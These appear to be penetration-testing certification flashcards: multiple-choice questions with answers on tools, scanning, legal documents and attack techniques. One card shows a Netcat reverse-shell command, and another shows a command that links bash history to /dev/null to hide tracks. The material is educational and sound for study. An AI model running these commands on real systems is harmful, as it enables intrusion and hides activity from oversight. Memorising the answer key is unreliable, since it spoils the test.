1 Flashcards
Ricky is conducting a penetration test against a web application and is looking for potential vulnerabilities to exploit. Which of the following vulnerabilities does not commonly exist in web applications?
A. SQL injection
B. VM escape
C. Buffer overflow
D. Cross-site scripting
B. VM escape
What specialized type of legal document is often used to protect the confidentiality of data and other information that penetration testers may encounter?
A. An SOW
B. An NDA
C. An MSA
D. A noncompete
B. An NDA
Chris is assisting Ricky with his penetration test and would like to extend the vulnerability search to include the use of dynamic testing. Which one of the following tools can he use as an interception proxy?
A. ZAP
B. Nessus
C. SonarQube
D. OllyDbg
A. ZAP
Matt is part of a penetration testing team and is using a standard toolkit developed by his team. He is executing a password cracking script named password.sh. What language is this script most likely written in?
A. PowerShell
B. Bash
C. Ruby
D. Python
B. Bash
Renee is conducting a penetration test and discovers evidence that one of the systems she is exploring was already compromised by an attacker. What action should she take immediately after confirming her suspicions?
A. Record the details in the penetration testing report.
B. Remediate the vulnerability that allowed her to gain access.
C. Report the potential compromise to the client.
D. No further action is necessary because Renee’s scope of work is limited to penetration testing.
C. Report the potential compromise to the client.
Which of the following vulnerability scanning methods will provide the most accurate detail during a scan?
A. Black box
B. Authenticated
C. Internal view
D. External view
B. Authenticated
Annie wants to cover her tracks after compromising a Linux system. If she wants to permanently remove evidence of the commands she inputs to a Bash shell, which of the following commands should she use?
A. history -c
B. kill -9 $$
C. echo “” ˃ /~/.bash_history
D. ln /dev/null ~/.bash_history -sf
D. ln /dev/null ~/.bash_history -sf
Kaiden would like to perform an automated web application security scan of a new system before it is moved into production. Which one of the following tools is best suited for this task?
A. Nmap
B. Nikto
C. Wireshark
D. CeWL
B. Nikto
Steve is engaged in a penetration test and is gathering information without actively scanning or otherwise probing his target. What type of information is he gathering?
A. OSINT
B. HSI
C. Background
D. None of the above
A. OSINT
Which of the following activities constitutes a violation of integrity?
A. Systems were taken offline, resulting in a loss of business income.
B. Sensitive or proprietary information was changed or deleted.
C. Protected information was accessed or exfiltrated.
D. Sensitive personally identifiable information was accessed or exfiltrated.
B. Sensitive or proprietary information was changed or deleted.
Ted wants to scan a remote system using Nmap and uses the following command:
nmap 149.89.80.0/24
How many TCP ports will he scan?
A. 256
B. 1,000
C. 1,024
D. 65,535
B. 1,000
Brian is conducting a thorough technical review of his organization’s web servers. He is specifically looking for signs that the servers may have been breached in the past. What term best describes this activity?
A. Penetration testing
B. Vulnerability scanning
C. Remediation
D. Threat hunting
D. Threat hunting
Liam executes the following command on a compromised system:
nc 10.1.10.1 7337 -e /bin/sh
What has he done?
A. Started a reverse shell using Netcat
B. Captured traffic on the Ethernet port to the console via Netcat
C. Set up a bind shell using Netcat
D. None of the above
A. Started a reverse shell using Netcat
Dan is attempting to use VLAN hopping to send traffic to VLANs other than the one he is on. What technique does the following diagram show?
A. A double jump
B. A powerhop
C. Double tagging
D. VLAN squeezing
C. Double tagging
Alaina wants to conduct an on-path attack against a target system. What technique can she use to make it appear that she has the IP address of a trusted server?
A. ARP spoofing
B. IP proofing
C. DHCP pirating
D. Spoofmastering
A. ARP spoofing
